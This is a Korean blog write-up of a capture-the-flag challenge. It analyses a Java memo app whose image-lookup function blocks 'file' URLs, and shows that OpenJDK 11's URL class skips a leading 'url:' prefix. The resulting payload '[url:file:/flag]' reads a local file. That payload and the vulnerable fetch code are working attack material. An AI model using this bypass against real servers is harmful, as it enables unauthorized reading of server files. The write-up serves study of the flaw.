티스토리 뷰

728x90
반응형

문제개요

Bypass file protocol in OpenJDK11 URL Class

 

코드분석

Flag의 위치는 파일 형태로 있었습니다.

그렇기에 Local File Inclusion의 File Path Traversal 타겟을 찾으려고 했습니다. 그러다가 메모를 읽어올 때 lookupImg 라는 함수를 호출하고 함수 호출 시에 사용자가 작성한 memo 내용을 파라미터로 전달하는 것을 보았습니다.

private String getMemo(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException, SQLException {
    String name = (String) req.getSession().getAttribute("name");
    try {
        int idx = Integer.parseInt(req.getParameter("idx"));
        PreparedStatement pstmt = null;
        try {
            PreparedStatement pstmt2 = this.conn.prepareStatement("SELECT * FROM memos WHERE name=? AND idx=?");
            pstmt2.setString(1, name);
            pstmt2.setInt(2, idx);
            ResultSet rs = pstmt2.executeQuery();
            if (rs.next()) {
                String memo = rs.getString(3);
                String tmp = lookupImg(memo); // 이곳
                if (!"".equals(tmp)) {
                    if (pstmt2 != null) {
                        pstmt2.close();
                    }
                    return tmp;
                } else if (pstmt2 == null) {
// 생략

 

그리고 lookupImg 함수에서는 아래와 같은 코드로 이루어져있었습니다.

private static String lookupImg(String memo) {
    Matcher matcher = Pattern.compile("(\\[[^\\]]+\\])").matcher(memo);
    if (!matcher.find()) {
        return "";
    }
    String img = matcher.group();
    String tmp = img.substring(1, img.length() - 1).trim().toLowerCase();
    Matcher matcher2 = Pattern.compile("^[a-z]+:").matcher(tmp);
    if (!matcher2.find() || matcher2.group().startsWith("file")) {
        return "";
    }
    String urlContent = "";
    try {
        BufferedReader in = new BufferedReader(new InputStreamReader(new URL(tmp).openStream()));
        while (true) {
            String inputLine = in.readLine();
            if (inputLine != null) {
                urlContent = urlContent + inputLine + "\n";
            } else {
                in.close();
                try {
                    return memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + new String(Base64.getEncoder().encode(urlContent.getBytes("utf-8"))) + "'><br/>");
                } catch (Exception e) {
                    return "";
                }
            }
        }
    } catch (Exception e2) {
        return "";
    }
}

두 가지 정규식 패턴을 검사하고 있었는데, 만약에 memo 에 대괄호가 양쪽으로 들어가는 지 확인하고 들어갔다면 대괄호를 제거하고 trim으로 좌우 공백제거 후 문자들을 소문자로 변환합니다. 그리고 나서 다시 변환을 마친 최종 문자열이 소문자: 형태로 시작하는지 확인하고 만약 그렇다면 file 문자열로 시작하는지 검사해서 만약 file 로 시작하지 않는다면 img 태그의 src 속성에 base64 인코딩한 값의 형태로 반환해주는 기능을 하고 있었습니다.

 

바로 이곳이 취약점이 존재하고 지점이라고 생각되었고 우선 현재 버전의 java의 URL 클래스가 지원하는 url scheme protocol에 어떤 것들이 있는지 조사가 필요했습니다.

 

Dockerfile을 확인해보면 java 버전을 확인해볼 수 있습니다만,

RUN apt-get install -y openjdk-11-jdk

보다 정확히 서버의 java 버전확인을 위해서 아래와 같은 페이로드로 포스팅을 작성하고 User-Agent 값을 확인해보았습니다.

 

Java/11.0.13 인 것을 확인할 수 있었습니다. 그리고 위 코드에서 확인한 URL 클래스의 정의는 아래 순서로 호출을 거듭해 결국 최종적으로 제일 하단의 URL 클래스에 도착하게 되는 것을 확인했습니다.

public URL(String spec) throws MalformedURLException {
    this(null, spec);
}
public URL(URL context, String spec) throws MalformedURLException {
    this(context, spec, null);
}
public URL(URL context, String spec, URLStreamHandler handler)
    throws MalformedURLException
{
    String original = spec;
    int i, limit, c;
    int start = 0;
    String newProtocol = null;
    boolean aRef=false;
    boolean isRelative = false;
    
    /* 생략 */

그리고 바로 아래 코드에서 볼 수 있듯이 URL클래스에서는 url: 로 시작되면 건너뛰고 그 다음으로 시작되는 문자열부터 다시 protocol을 추출하게끔 설계되어 있는 걸 볼 수 있었습니다.

if (spec.regionMatches(true, start, "url:", 0, 4)) {
    start += 4;
}

즉 이를 활용해서 uri.startswith('file') 을 우회할 수 있게 됩니다.

 

문제풀이

아래 페이로드를 메모에 작성하였습니다.

[url:file:/flag]

그리고 포스트를 클릭해서 보면 아래와 같이 깨진 이미지를 확인할 수 있고,

해당 페이지에서 아래 script를 실행해서 결과 값을 확인할 수 있습니다.

atob(document.querySelector('img').getAttribute('src').replace('data:image/jpeg;charset=utf-8;base64,',''))

그리고 Flag가 출력됨을 알 수 있습니다.

 

- 끝 -

728x90
반응형
댓글